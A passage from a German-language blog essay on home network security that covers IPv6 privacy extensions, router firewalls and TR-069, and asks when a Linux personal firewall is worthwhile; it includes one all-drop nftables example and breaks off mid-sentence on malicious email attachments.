Wir können diese mögliche Wiedererkennung über die u.U. gleichbleibende IPv6 aber relativ einfach vermeiden, indem wir den IPV6-Stack mit den „Privacy Extensions“ konfigurieren und damit eine wechselnde IPv6 erzwingen. Damit wird sichergestellt, dass die aktuell verwendete IPv6 nicht aus der MAC abgeleitet wird, sondern wirklich zufällig ist und auf jeden Fall nur eine vorübergehende Gültigkeit hat. Nach Ablauf der Gültigkeit und wenn alle Verbindungen auf dieser IP beendet sind, kann diese IP-Adresse nicht mehr verwendet werden. Somit ist sichergestellt, dass ein üblicher Desktop-PC spätestens nach dem nächsten Neustart eine neue und im Internet zunächst unbekannte IPv6 verwendet, zwar in Abhängigkeit vom zugeteilten Prefix, aber nicht mehr abhängig von der MAC-Adresse des NIC. Damit ist sowohl der Wiedererkennung als auch der gezielten Ansprache aus dem Internet ein Riegel vorgeschoben. Dabei müssen wir aber unbedingt beachten, dass alle Bemühungen die Wiedererkennung zu vermeiden nichts anderes als Scheingefechte ohne Erfolgsaussicht sind, wenn wir nicht gleichzeitig verhindern, dass Browser-Cookies diese Lücke wieder schließen.
Aus Sicht des Routers gilt für beide IP-Protokolle gleichermaßen die Regel, dass eine neue Verbindung (Conntrack-State = NEW) nur von innen heraus ins Internet geöffnet werden kann. Eine von außen initiierte Verbindung wird generell abgewiesen, es sein denn, dass vorher im Router bestimmte Ports ausdrücklich geöffnet wurden und von außen kommende NEW-Pakete unmittelbar weiter zu einem bestimmten PC geroutet werden.
Also auch die mit einer Global-Unicast-IPv6 ausgestatteten Geräte, die damit zwar eine internettaugliche Adresse haben, können vom Internet aus nicht direkt angesprochen werden, selbst dann nicht, wenn die betroffene IPv6 dem Angreifer sogar bekannt wäre. "Muss ich das echt alles wissen...?… ich will doch bloß ne Firewall auf meinem PC" Ja, eben… Du willst doch eine Firewall einrichten, wie soll das denn gehen, wenn Du gar nicht weißt, auf was es dabei ankommt und was Du beachten mussst? Wenn es Dir nur um ‚eine‘ zusätzliche Firewall auf dem PC geht, gibt‘s natürlich auch eine einfache Lösung…. installiere Dir Wine und darin dann Zonealarm. Das bringt zwar nix, aber Du kannst wenigstens sagen, dass Du eine Firewall installiert hast. Dann kannst Du Dir auch die Arbeit ersparen, ein wenig Hintergrundwissen zu erwerben. Wenn Deine Firewall aber erfolgreich schützen soll ...tja… Pech gehabt, das bedeutet Arbeit… ;-) |  |
Also, weiter geht‘s... diese spezielle Router-Funktion verhindert jedenfalls alle Zugriffe aus dem Internet und wirkt bezogen auf diesen Aspekt dadurch durchaus wie eine Firewall... solange der Router nicht vorher manipuliert oder unsachgemäß an den Einstellungen gespielt wurde. Diese Hardware-Funktion ist also fester und zweifelsfrei wirksamer Bestandteil der Firmware unseres DSL-Routers.
Natürlich werden hartgesottene Sicherheitsexperten jetzt wieder argumentieren "Ein typischer Consumer-Router ist per se als kompromittiert anzusehen, weil seine Firmware proprietäre Software ist!" Ja, das ist wohl so. Ich schließe auch nicht völlig aus, dass AVM oder TP-Link als Hersteller meiner Router bei Default-Settings jederzeit die Möglichkeit haben, von außerhalb die Kontrolle über ihr/mein Gerät zu übernehmen. Die TR-069-Schnittstelle ist faktisch eine Backdoor für genau solche Zwecke. Diese Lücke konnte ich jedoch bei meiner Fritzbox erfolgreich schließen, bzw. den Service deaktivieren. Ist es darüber hinausgehend noch vorstellbar, dass auch die Inlands- und Auslandsgeheimdienste unserer Welt sämtlich einen Hintereingang in unsere Router und damit in unsere privaten Netzwerke haben …?... *hmmmm* … ja, ist vorstellbar, technisch wäre das wohl problemlos umzusetzen, aber ich kann mir beim besten Willen nicht vorstellen, dass das auf Dauer unentdeckt bleibt. Tja, welche Alternativen habe ich aber? Ein eigenes DSL-Modem und einen eigenen Router bauen ...?... bei dem ich nie wirklich sicher sein kann, ob nicht von mir verbockte Design-Fehler aus diesem Eigenbau ein (von mir unentdecktes) offenes Scheunentor in mein Heim-Netzwerk machen ...?... nee, Danke ... da bleib ich doch lieber bei meiner Fritzbox. Ganz nebenbei bemerkt, solche Fragen betreffen ja nicht nur die Firmware der Fritzbox allein. Woher weiß ich zum Beispiel, dass ASUS als Hersteller meines Motherboards mit integrierter proprietärer Netzwerksoftware das nicht auch kann? Was ist mit Druckern mit integrierter LAN-Funktion? Ich weiß das alles nicht. Ich habe mich jedenfalls deshalb dazu entschlossen, mein Bestreben nach besserer Sicherheit zum Schutz meiner digitalen Privatsphäre nicht in Paranoia ausarten zu lassen. Die einzige für mich realistische Alternative wäre dann wohl, gänzlich auf den Betrieb eines Computers mit Zugang zum Internet zu verzichten. Nee, auch das ist für mich wirklich keine Alternative. |  |
Deshalb verlasse ich mich einfach darauf, dass weder die Router noch das Board meiner digitalen Privatsphäre prinzipiell feindselig gegenüberstehen. Ich hoffe, wenn solche Features und deren planmäßiger Gebrauch resp. deren planmäßiger Missbrauch bekannt werden, nicht als Bug, sondern wirklich als Feature, dass das für AVM oder TP-Link durchaus heftige wirtschaftliche Konsequenzen hätte, an deren Vermeidung zweifelsfrei hohes Firmen-Interesse besteht.
Trotzdem eine lokale Firewall?
Sei's drum... hier existieren leider Rahmenbedingungen, die meine Laienkenntnisse und meine Möglichkeiten der Einflussnahme vermutlich genau wie die der meisten anderen Home-Computer-Anwender sowieso weit übersteigen. Was ich aber weiß, ist, dass meine Fritzbox und auch die 2 TP-Link-Router von außen aus dem WWW kommende Verbindungsversuche verlässlich unterbinden, die Standard-Ports sowieso, aber auch zweifelhafte Zugänge wie TR-069 und Gastzugänge sind deaktiviert. Ich habe meinen Router auf offene Ports (4+6) aus dem Internet mit diversen Online-Tests überprüft. Ich habe versucht, die Global-Unicast-Adressen (IPv6) über das Internet gezielt und explizit zu erreichen. Für IPv4 habe ich über meinen Laptop mit den üblichen Linux-Tools unter Verwendung meines Smartphones (also via 4G-Verbindung und als WLAN-AP) von außen auf meinen Router geschaut. Ich habe mit all diesen unterschiedlichen Tests die Verlässlichkeit meiner Router-Firmware-FW für die Protokolle IPv4 und IPv6 zusammen mit den auf dem Server installierten Diensten auf die Probe gestellt. Keine Chance, der Zugang wurde immer entweder direkt vom Router verhindert oder für die weitergeleiteten Ports direkt danach vom laufenden Dienst auf einem Server.
Insofern hatte ich schon über die ganze Zeit eine sehr wirksame Firewall, auf die ich mich jetzt auch durchaus verlasse, und das ganz ohne besonderes Zutun von mir. Eine weitere Firewall, quasi als Desktop-Firewall auf einem der Anwender-PCs würde also im Idealfall (!) nie etwas zu tun bekommen. Sie wäre zwar installiert, aber ohne jegliche Wirkung, ohne jeglichen Effekt, ohne (aus dieser Perspektive eines Angriffsvektors vom WWW) auch nur den geringsten Einfluss auf die Sicherheit dieses PCs – aber wie gesagt, das gilt nur solange, wie wir davon ausgehen, dass nicht vom Router selber die Gefahr ausgeht. Ich bin hingegen davon überzeugt, dass heute und in der Vergangenheit die Mehrheit der erfolgreich durchgeführten Angriffe und Schadensfälle sowieso nicht über die Kompromittierung des Routers oder dessen Sicherheitslücken erfolgt sind, sondern immer von innen heraus (am PC selber) vorbereitet bzw. ermöglicht wurden... und das sollte uns allen klar sein, genau dagegen ist jede Personal Firewall schlichtweg machtlos. Wenn die Router-Integrität entgegen meiner Erwartungen allerdings doch fragwürdig sein sollte … tja… dann hoffe ich, dass meine Personal Firewall auf Server und Clients diese Schwächen kompensieren kann. Beides zusammen erachte ich jedenfalls als einen für uns geeigneten, wenig aufwändigen und auch ausreichenden Firewall-Schutz…. also „ja, warum auch nicht“ ist meine Antwort auf die obige Frage.
"Was müsste denn passieren, dass eine Router-Firewall nicht mehr wirksam ist, also vielleicht deaktiviert ist?" Ich habe keine Ahnung, ob es wirklich möglich ist, die Firewall im Router als ganzes mit einem Click oder einer besonderen Einstellung zu deaktivieren. Zumindest bei meiner Fritzbox habe ich dazu keine Möglichkeit gefunden. Alle Ports sind für Zugriffe von außen per default geschlossen. Das ist auch der Grund dafür, dass z.B. einige Online-Spiele, File-Sharing-Programme, Remote-Desktop-Protokolle, VPN-Zugänge oder Server-Dienste nach der Installation des Programms auf einem dafür vorgesehenen PC zunächst mal gar nicht funktionieren.... die Router-Firewall lässt das einfach nicht zu. Um solche Funktionalität zu erlauben, ist zusätzlich immer ein expliziter Eingriff in den Router-Einstellungen notwendig, mit dem einzelne Ports ausdrücklich geöffnet werden müssen. Dazu muss festgelegt werden, welcher Protokoll-Typ zugrunde liegt (TCP oder UDP) und an welches Gerät im Heim-Netzwerk die über diesen Port hereinkommenden Datenpakete weiterleitet werden müssen. Abschließend können wir nun resümieren, wir müssen uns bei einem modernen und zeitgemäßen Router ‚vermutlich' keine Gedanken übers Abschließen machen, sondern im Fall der Fälle nur ausdrücklich über das Aufschließen einzelner Türchen. Das ‚vermutlich' bedeutet, ich persönlich glaube, dass die Router-Hersteller nicht vorsätzlich Schadsoftware in den Router implementiert haben, aber eine Garantie dafür gibt's natürlich leider nicht. Ich gehe aber trotzdem davon aus, dass die Router-Firewall für mein Netzwerk ein bereits vorhandener und durchaus auch wirksamer Schutz ist.
"Wann brauch ich denn überhaupt eine Firewall auf dem PC?" Meiner Meinung nach auf jeden Fall dann, wenn Du Deinem DSL-Router zweifelsfrei misstraust, aber keinen eigenen Router mit echter Firewall einrichten willst und wenn Du deine digitale Privatsphäre ausreichend sensibel und deswegen schutzwürdig einschätzt. Und ja, es gibt tatsächlich auch durchaus weitere sinnvolle Szenarien für den Einsatz einer Desktop-Firewall, jedoch vermutlich ein wenig anders geartet, als Du vielleicht erwartest. Für eine sinnvolle Antwort auf Deine Frage musst Du aber zuvor eine Antwort auf die Frage „vor wem will ich mich schützen?“ finden. Und dabei solltest Du unbedingt verstehen, dass "Schutz" und "Wogegen" immer ein binäres Verhältnis zweier einzelner konkret benannter Kontrahenten ist - entweder gewinnt der eine oder der andere, je nachdem wer cleverer ist. Es gibt deshalb keinen einfach zu erstellenden und umfassend gegen alle Angriffe wirksamen Firewall-Schutz. Mit anderen Worten, Du musst das „wogegen“ ganz konkret bezeichnen. Und das vor dem Hintergrund, dass es nicht nur ein einzelnes „wogegen“ gibt, sondern möglicherweise sehr viele. Jedes Anwendungsprogramm, jeder auf dem Rechner laufende Service, sämtliche Aktionen der User an Tastatur und Bildschirm können ein „dagegen“ beinhalten. Eine Firewall unter Linux, die aus technischer Sicht eigentlich ein Paketfilter ist, ist immer eine mehr oder weniger umfangreiche Sammlung von Regeln, bei der jede Regel einen konkreten "Gegner" hat, oder besser, sich mit einem konkreten Sachverhalt befasst. Und es gibt Regeln, die über die Power verfügen, alle anderen Regeln zu überstimmen und außer Kraft zu setzen. |  |
Gerade beim Schreiben eigener Firewall-Regeln wird meiner Meinung nach oft ein typischer Laienfehler gemacht, nämlich dann, wenn einzelne Ports ausdrücklich erlaubt werden. Der "Regelprogrammierer" glaubt sich nun gut von seiner Firewall beschützt, weil er ja nur bestimmte Türchen zum Durchgehen erlaubt hat... das ist er aber nicht.... nicht im geringsten.... das ist unter Umständen sogar völlig wirkungslos. Wenn man eigene Filter-Regeln schreiben möchte, sind sinnvolle und am Ende auch wirklich wirksame Regeln immer nur bei gleichzeitiger Beachtung der Default-Policies des Netfilter-Layers im Linux-Kernel möglich, die dort allerdings erst mal per Default-Einstellung auf "ACCEPT" gesetzt sind. Das ist auch so OK, schließlich muss der Datenverkehr im Heim-Netzwerk ja auch funktionieren, wenn keine individuellen Netfilter-Regeln gesetzt sind. Bei diesem Hintergrund kommt man dann unweigerlich selber zu der Erkenntnis, wenn ich jetzt eigene "Erlaube-Regeln" schreiben möchte, sind die eigentlich unnütz, weil ja sowieso alles auf ACCEPT steht. Deshalb ergeben solche Regeln nur in einem Umfeld Sinn, in dem zuerst einmal grundsätzlich alles verboten ist. Aber genau das hat wiederum mögliche und unerwünschte Nebenwirkungen zur Folge, wenn nämlich zu viel verboten ist und deswegen elementare andere Funktionen auf einmal nicht mehr funktionieren. Mit zu vielen oder falschen Verboten wird vielleicht auf einmal die Systemzeit nicht mehr aktualisiert, Drucken wird verhindert, andere Rechner sind plötzlich unsichtbar, man kann damit sogar den ganzen IPv6-Stack zum Stillstand bringen.
Wenn ich hingegen "Verbiete-Regeln" erstellen möchte, sind die natürlich nur in einem Umfeld sinnvoll, in dem erst einmal alles grundsätzlich erlaubt ist. In dem einem Umfeld (Default=DROP) brauche ich mich mit Verbots-Regeln also eigentlich nicht zu befassen. In dem anderen Umfeld (Default=ACCEPT) muss ich mich nicht mit Erlaube-Regeln befassen. Gerade vor dem Hintergrund eines Default-ACCEPTs ist es faktisch völliger Unsinn, sowohl einzelne Ports explizit zu erlauben, als auch einzelne Ports ausdrücklich zu verbieten. Das Ergebnis ist in jeder Hinsicht fragwürdig. Die ACCEPTs sind eh irrelevant, weil doppelt, und wäre ich ein Angreifer, so scheren mich die DROP-Ports einen feuchten Kehricht, dann verwende ich 'outbound' einfach einen per Default-Einstellung erlaubten unprivilegierten Port. Als Fazit ist hier festzustellen, dass so ein Regel-Mischmasch von ACCEPT's und DROP's ohne Berücksichtigung der Default-Policies mit hoher Wahrscheinlichkeit letztlich nicht viel mehr als eine Fassaden-Sicherheit ist, mit kaum damit einhergehenden echten Sicherheitsgewinn.
Das bedeutet, auch mit unzureichendem Sachwissen kann man sich durchaus eine wahrlich umfangreiche Firewall aufbauen, die letztendlich dann aber wegen falschem logischen Aufbau oder wegen einer kleinen Unachtsamkeit völlig unwirksam sein kann. Was ich damit sagen will ist einfach, ich muss idealerweise eine genaue Kenntnis oder zumindest eine einigermaßen deutliche Vorstellung darüber haben, welchen Teil meiner PC-Installation ich überhaupt schützen will und natürlich auch, gegen wen dieser Schutz überhaupt wirken soll, um dann ganz konkret dagegen einen Schutzmechanismus einzurichten. Fakt ist, es gibt nur eine einzige richtige, ordnungsgemäße Paketfilter-Konfiguration, die ungeprüft und pauschal unter den meisten denkbaren Bedingungen den PC wirksam schützt.... jede andere Pauschal-Installation ist -ohne jeweils die genauen Rahmenbedingungen zu kennen und zu berücksichtigen- keinen Cent mehr wert, als das in kleinen Fläschchen abgefüllte gefärbte Wasser im Wilden Westen, was gegen Zahnschnmerzen, Dünnschiss, Haarausfall und Klapperschlangenbisse helfen soll.... es ist aber trotzdem nur gefärbtes Wasser. Und wirksam ist diese Konfiguration auch nur dann, wenn der PC zum aktuellen Zeitpunkt ganz unzweifelhaft nicht kompromittiert ist.
table inet filter {
chain input {
type filter hook input priority 0; policy drop;
}
chain output {
type filter hook output priority 0; policy drop;
}
chain forward {
type filter hook forward priority 0; policy drop;
}
}
Allerdings ist der PC mit einem solchen Filter faktisch in jedem Netz unbrauchbar, bzw. in keiner Netzwerkumgebung sinnvoll verwendbar … also kann man hier wohl kaum von pauschaler Tauglichkeit sprechen.
Einen komplexen Paketfilter ordnungsgemäß und ohne Syntaxfehler einzurichten und dann auch zu starten ist eigentlich eine einfache Sache. Allerdings beherbergt das immer auch ein ziemlich großes Potential für leicht zu begehende konzeptionelle Fehler, die dann wieder dicke Lücken in die Sicherheit reißen - weswegen ich bei der Entwicklung meiner Regeln die Direktive „kompromisslose Eindeutigkeit und leicht nachvollziehbar“ vertrete. Denn gerade bei der Entwicklung sollte man den gravierenden Unterschied zwischen "ordnungsgemäß" und "wirksam" wirklich nicht übersehen. Eine unwirksamer Paketfilter startet nämlich auch ohne irgendwelche Fehlermeldungen, er verbrennt allerdings nur die PC-Performance, ohne jeglichen Nutzen für mich und gaukelt mir eine Sicherheit vor, die gar nicht besteht. Der richtige Lösungsansatz ist stattdessen, wenn unterschiedliche Angriffsflächen existieren, die möglicherweise echten Bedrohungen oder Angriffen ausgesetzt sind, muss ich für jede einzelne einen entsprechenden Schutz einrichten. Bei der alleinigen Antwort oben vom Anfang des Artikels kommt man am besten zu dem Fazit "Lass es besser sein, Du brauchst keine Firewall, Du kriegst damit eh nicht den Schutz, denn Du Dir vorstellst." Und schließlich ist auf die Frage "Wann brauch ich..." auch zu antworten, dass gerade die gewissenhaften PC-User, die nicht leichtsinnig oder fahrlässig mit ihrem PC arbeiten, sondern mit Sachverstand, die nur reguläre Software verwenden und die häufige Änderungen an der Installationsbasis des Betriebssystems nach Möglichkeit vermeiden, eigentlich überhaupt keine Desktop-Firewall benötigen. An dieser Stelle drängt sich dann geradezu der Gedanke auf, dass es bei diesem Thema wirklich keine einzig-wahre oder pauschal gültige Antwort oder Lösung gibt. Mit anderen Worten, es muss immer eine zu den individuellen Gegebenheiten passende Lösung gefunden werden. Und die kann auch durchaus sein, gar keine Personal Firewall einzurichten.
Darüber hinaus gibt es Einflüsse (vorrangig durch User), welche die vollständige Personal Firewall auch wieder neutralisieren können. Bei all diesen Betrachtungen und Aspekten dürfen wir letztlich nämlich nicht vergessen, dass der berechtigte Anwender, also der Herr über das Admin-Passwort, immer und zu jeder Zeit auch dazu berechtigt ist, jedweden Schutz zu deaktivieren oder zu umgehen... und das natürlich bewusst und vorsätzlich, aber leider manchmal auch unbewusst und unbemerkt... ob er immer kann oder versteht, was er da tut, ist fraglich, aber er darf es. Deshalb werden wir im Laufe des Artikels also noch erkennen, dass eine 'Personal Firewall' auf dem PC nicht wirklich eine echte Firewall ist, sie ist einfach nur ein so bezeichnetes Programm. Ich betrachte eine solche 'Personal Firewall' dann sogar als sicherheitstechnischen Trugschluss, wenn die ganze Sicherheit allein darauf basieren soll.... so funktioniert das aber nicht. Dem entgegengesetzt bin ich aber trotzdem ein Befürworter einer Personal Firewall. Ich bewerte sie unter bestimmten Rahmenbedingungen durchaus als eine die allgemeine Security unterstützende präventive Maßnahme … selbst wenn sie ganz am Ende nur dazu dienen sollte, den PC „gegen“ den eigenen Router zu schützen. Ich bewerte sie ganz ähnlich, wie ich ein präventiv eingenommenes Medikament bewerte. Ebenso wie bei der Personal Firewall gibt es auch beim Medikament mehrere mögliche und ganz unterschiedliche Resultate, wie z.B. ein neutrales, wenn das Medikament weder eine Soll-Wirkung zeigt, noch negative Nebenwirkungen hat. In dem Fall könnte ich es mir auch einfach ersparen. Ein schlechtes Resultat wäre, wenn das Medikament keine Soll-Wirkung hat, aber viele negative Nebenwirkungen. Das ist dann wirklich schlecht für mich. Ein für mich gutes Resultat besteht, wenn das Medikament keine Nebenwirkungen zeigt und im Fall der Fälle wie von mir erhofft tatsächlich wirkt. Das alles kann man auch einfach auf die Firewall übertragen. Neutral ist, wenn sie eigentlich nicht das erwünschte tut (fehlender Schutz durch Bedienfehler) und -obwohl Fehlleistung vorliegt- mein System trotzdem nicht belastet. Schlecht ist, wenn sie einerseits nichts sinnvolles tut oder dabei versagt und dann auch noch die Performance des PCs oder mein Arbeiten durch Blockaden (Nebenwirkungen) nachhaltig beeinträchtigt. Besonders schlecht ist, wenn der Laie darin auch noch die Wirksamkeit seiner Firewall bestätigt sieht und deswegen einen echten Schutz vermutet. Positiv ist es nur, wenn sie mich nicht stört oder störend auffällt, aber im Fall der Fälle wie erwünscht wirkt.
Bei der Firewall ist es schließlich genau gleich wie bei der vorbeugenden Grippeimpfung, denn auch dabei bekommt man bedauerlicherweise auf die abschließende Frage niemals eine Antwort: "Hätte ich die Grippe auch ohne Impfung nicht bekommen, oder habe ich sie nicht bekommen, weil ich geimpft war?" Und gleichermaßen kann man in beiden Fälle die Komplementär-Frage stellen: "Hätte ich mit einer Impfung die Grippeinfektion verhindern können oder hätte ich die Grippe vielleicht sogar trotz Impfung bekommen?" Und bezogen auf die Firewall im Fall der Fälle: "Hätte ich vielleicht mit besserer Traffic-Regulierung den digitalen Angriff verhindern können?" |  |
Tja, es gibt keine Antworten darauf, in beiden Fällen nicht, wie wir uns auch drehen und wenden. Aber nichtsdestotrotz, ganz ohne Zweifel sinnvoll wäre die lokale Firewall z.B. dann, wenn ein PC direkt mit dem DSL-Modem verbunden wäre und somit tatsächlich als Borderdevice unmittelbaren Kontakt mit dem Internet hat, ganz ohne Router. In diesem Fall fehlt die Block-Funktion des DSL-Routers, die dann mit hohem Sachverstand stellvertretend auf dem PC eingerichtet werden müsste/sollte. Aber wie ich oben schon sagte, das entspricht nicht so richtig der Wirklichkeit der Masse aller privaten Internet-Nutzer, so etwas wird‘s nur in Ausnahmefällen geben. Eine weitere sinnvolle Anwendung sehe ich bei Servern, die zum Internet geöffnete Dienste zur Verfügung stellen, wie z.B. Web-Server, Mail-Server, VPN-Server, etc. Bei solchen Funktionen ist der legale und berechtigte Zugriff aus dem Internet auf diese Dienste ja das wesentliche Merkmal dieser Installation, und hierbei kann die Firewall Angriffe und Attacken auf den Server erkennen und unterbinden, wie vielleicht bei DDoS-Attacken.
Und natürlich gibt‘s auch ein zur typischen Erwartungshaltung der meisten User passendes Szenario für einen ganz normalen Anwendungsfall, wenn tatsächlich der PC selber geschützt werden muss … und zwar bei Mobilen-Geräten wie einem Laptop oder ein Notebook, also bei Endgeräten, mit denen man sich häufig an fremden Netzen anmeldet. Meistens geschieht das via WLAN an offenen WLAN-Accesspoints. Hier besteht das Problem, dass wir unser Gerät mit einer unbekannten Netzwerk-Infrastruktur und anschließend sogar mit dem Internet verbinden, ohne zu wissen, wie diese Infrastruktur überhaupt sicherheitstechnisch ausgestattet ist, von der Firewall des Gast-Routers ganz zu schweigen. Und noch weniger wissen wir, ob dieser Accesspoint überhaupt von seinem Charakter her integer ist und ob die Systemintegrität nicht bereits durch Schadsoftware kompromittiert ist. Deshalb würde ich bei solchen Gegebenheiten meinen Laptop niemals ohne eine sehr restriktiv eingestellte Firewall mit diesem Gastnetz verbinden. Bei solchem Einsatz muss eine Desktop-Firewall die Funktionen meiner heimischen Router-Firewall zum Schutz meines Laptops übernehmen. Speziell für diese Problematik befasse ich mich aber später mit einem genau für diesen Einsatzzweck gedachten Paketfilter.
Zusammengefasst hier noch einmal kurz wiederholt, unter welchen Bedingungen ich eine auf dem PC installierte FW nicht nur für sinnvoll, sondern sogar als obligatorisch notwendig betrachte: 1. wenn unser PC mit direkter und unmittelbarer Anbindung (ohne Router) ins Internet verbunden ist 2. wenn wir private Server-Systeme mit zum Internet geöffneten Diensten betreiben 3. wenn wir uns mit Mobil-Geräten (Laptops, etc.), an unbekannten Accesspoints verbinden | |
Im 4. und hier als letztes beschriebenen Szenario für eine Desktop-Firewall (und genau hier besteht eigentlich ein für mich maßgebliches Interesse) ist das Ziel, nicht die von außen bestehende Bedrohung auf unsere PCs abzuwehren, das tut ja schon die Firewall des DSL-Routers, sondern der permanent von innen bestehende Gefahr durch Sabotage zu begegnen.
"Häh? Sabotage von innen... nicht Dein Ernst, oder?" Doch, ist mein Ernst, und weil ich mich ab hier ein wenig intensiver mit dem potentiellen Saboteur befassen werde, ist hierbei schließlich das Ziel, eine Firewall auch zum Schutz vor genau diesem Saboteur einzurichten. Letztendlich habe ich bei Betrachtung all dieser Aspekte für mich zu den Punkten 2, 3 und 4 jeweils Lösungen entwickelt, die ich hier im Laufe des Artikels vorstellen werde. Schau'n wa also mal, wo die Reise hingeht.…
Konzept oder kein Konzept…?... das ist die Frage
Als Einstieg in diesen besonderen Teilaspekt des Themas 'Sicherheit durch eine Personal Firewall' müssen wir zunächst mal verstehen, was eine Firewall überhaupt ist, oder besser, was sie nicht ist. Denn wenn man sich etwas tiefergehend mit dieser Frage befasst, wird man erkennen, dass eine tatsächlich wirksame Firewall niemals nur ein einzelnes Programm auf dem PC des Hauptbenutzers sein kann, sondern das die Firewall in Wirklichkeit ein umfassendes Konzept darstellt bzw. darstellen muss, welches am Ende natürlich auch durch unterschiedliche Programme unterstützt wird. Ich will jetzt aber hier niemanden verunsichern oder entmutigen, denn richtig hohen Aufwand und einen professionellen Umfang brauchen wir für unser Ziel gar nicht. Aber wenn jemand die Vorstellung hat, er installiert sich mal eben eine Desktop-Firewall und hat dann einen Einbruchsschutz, wie auf dem Bild nebenan illustriert, dann möchte ich darauf hinweisen, dass das so nicht funktionieren wird. Wenn jemand ein solche Schutz-Kuppel über seinen PC im Sinne hat, gibt es nur einen Weg, um dieses Ziel auch wirklich zu erreichen: Er muss den Stecker seines LAN-Kabels abziehen und die WLAN-Karte deaktivieren - andere Möglichkeiten gibt es meiner Meinung nach nicht. |  |
Wenn wir unser Haus vor Einbruch sichern wollen, müssen wir uns ja auch mit jedem Wohnungsfenster einzeln befassen, mit jeder Eingangstür ins Haus, mit jedem Kellerfenster. Es ist wirkungslos, wenn ich die Haustür dreifach verriegel, mit Stahl ummantel und mit einer Alarmanlage versehe, wenn ein einzelnes Kellerfenster auf der Rückseite des Hauses marode ist. Es hilft nichts, wenn ich die Fenster der ersten Etage besonders sichere, wenn über das leicht zugängliche Nebendach ein Fenster in den Obergeschossen erreicht werden kann. Das gleiche gilt i.ü.S. auch für unseren PC, es gibt nicht nur ein Fenster, nicht nur eine Eingangs-Tür, es gibt keine Kuppel namens Firewall zum komplett drüber stülpen.
Wir sollten die Tatsache akzeptieren, dass zu einer sicheren Firewall viel mehr gehört, als nur ein kleines Progrämmchen, welches man sich mal eben installiert und dann glaubt, jetzt ist alles gesichert. Um das etwas besser zu verstehen ist ein kurzer Seitenblick auf eine professionelle und business-taugliche Firewall hilfreich, zu der z.B. der Einsatz von dedizierter Hardware gehört, wie Proxyserver, dann physische Trennung von Subnetzen durch interne und externe Router, dazu AV-Scanning, Paketfilter, Script-Blocker, Applicationsgateways, Verbindungsprotokolle, Traffic-Überwachung und Analyse, Compliance-Regeln für Mitarbeiter und vieles mehr. Erst all das zusammen ergibt dann am Ende eine echte Firewall, die dieser Bezeichnung auch wirklich gerecht wird.... nur ist es hierbei ein umfassendes Firewall-Konzept. Außerdem beinhaltet eine echte Firewall immer auch gravierende Beschränkungen, Abschaltung von Bequemlichkeiten und Möglichkeiten, Durchsetzung von Regeln und Verboten, minderer Komfort, Verzicht, durchaus auch merkbare Beeinträchtigungen des Users an der Tastatur. |  |
Ums kurz zu sagen, Sicherheit ist immer teuer - auf die eine oder andere Art und Weise. All das ist natürlich für unsere kleine private EDV viel zu aufwendig und wäre auch maßlos übertrieben. Aus diesem Grund und um wenigstens das zu erreichen, was für uns mit vertretbaren bzw. geringen Aufwand überhaupt erreichbar ist, beschränke ich mich auf einen kleinen, aber durchaus wirksamen Aspekt aus dem großen Gesamtpaket, und zwar dem Aspekt, der am Besten zu den schon erwähnten Compliance-Regeln passt, also den Regeln, die das Benutzer-Verhalten beschreiben und regulieren. Ja, es ist auch mit eher einfachen Mitteln möglich, eine sehr effektive Firewall einzurichten, die auch wirklich unsere Erwartungen erfüllt. Auch mit einfachen Mitteln ist ein wirksamer Schutzschild möglich. Aber, bevor wir loslegen und wenn wirklich eine Verbesserung der Sicherheit erreicht werden soll, sollten wir damit beginnen, ein paar Vorurteile über Bord zu werfen und etwas später auch ein paar Änderungen bezgl. unseres bisherigen eigenen Verhaltens akzeptieren. |  |
Das alleinige Programm "Desktop-Firewall" (wie man das auch von Windows her kennt) und ohne dahinterstehendes Firewall-Konzept ist m.M.n. wirklich nicht mehr als eine reine Fake-Anwendung, ein sicherheitstechnischer Trugschluss, und zwar vordergründig genau dann, wenn der User selber in der Administratoren-Gruppe eingetragen ist.... oder wie das bei einigen Linux-Distributionen der Fall ist, er wurde automatisch durch den Installer als Mitglied der Gruppe "sudo" eingetragen. Daraus resultiert zwangsläufig aber auch der unschöne Nebeneffekt, wenn der Hauptbenutzer selber das Recht hat oder sich das Recht aneignen kann, Veränderungen am System durchzuführen, so können das über kurz oder lang auch alle Anwendungen, die dieser User in seinen User-Space gestartet hat. Ok, um nun mal den Saboteur ins Visier zu nehmen… ja ja ja, schon gut, vielleicht ist Saboteur nicht ganz die richtige Wortwahl. Zu sabotieren bedeutet ja den Vorsatz zur Sabotage zu haben, also etwas vorsätzlich und bewusst zu zerstören. Ich glaube, dass kann man hier nicht wirklich unterstellen… ... aber mir hats halt Spaß gemacht, diese ein wenig provokante Bezeichnung als Einleitung zu nehmen. Denn letztlich besteht kein Unterschied darin, was ganz am Ende hinten rauskommt. Das Ergebnis einer beabsichtigten Sabotage ist das gleiche, wie nach einer groben Fahrlässigkeit basierend auf Nichtwissen. Der einzige Unterschied ist dabei der fehlende Vorsatz, in beiden Fällen ist der eigene Computer aber möglicherweise jetzt kompromittiert. |  |
Und ja, ich sehe deshalb den unkundigen, leichtsinnigen, verantwortungslosen, grob fahrlässigen oder sich selbst oft maßlos überschätzenden PC-Anwender als den größten Gefährder für die Integrität seines PCs. Das tatsächliche Problem dabei ist, dass ein solcher User im Regelfall als Mitglied in Admin-Groups über Berechtigungen verfügt, mit denen er aus Unkenntnis oder auch grob fahrlässig jeglichen von der Router-FW ausgehenden Schutz durch sein Wirken an der Tastatur quasi im Nebeneffekt aushebelt, weil er ganz einfach von innen heraus unbeabsichtigt und deshalb unbemerkt diesen Schutzwall demontiert.
Das passiert vorwiegend dadurch, wenn er leichtsinnig (aber durchaus auch vorsätzlich) Programme aus dubiosen Quellen installiert – weil ihm die Zweifelhaftigkeit dieser Quelle überhaupt nicht bewusst ist. Zum Beispiel ist meiner Meinung nach jede anonyme Software-Quelle als prinzipiell dubios einzuschätzen. Eine Quelle, die keinen ‚Firmensitz‘ o.ä. angibt, vielleicht nur irgendwelche Nicknames für verantwortliche Personen aufführt und für diese Personen unpersonifizierte Fantasie-Mail-Adress-Bezeichnungen verwendet, im Endeffekt also faktisch völlig anonym ist, bewerte ich zweifelsfrei als dubios. Wirklich niemand sollte sich wundern, wenn nach einer solchen Software-Installation der PC kompromittiert ist – in welcher Art und Weise auch immer. Die Kompromittierung eines PCs passiert zudem, wenn sich ausführbare Teile von Programmen oder Interpreter-Sprachen-Scripte oder ausführbare Makros heimlich und unbemerkt in der aktiv angemeldeten Session des Anwenders installieren, ausführen und dann schlimmstenfalls irgendwas mit den eigenen Daten anstellen oder unbemerkt auch noch Schadsoftware aus dem Internet nachladen. Es passiert zum Beispiel dann, nachdem ausführbare Email-Attachments 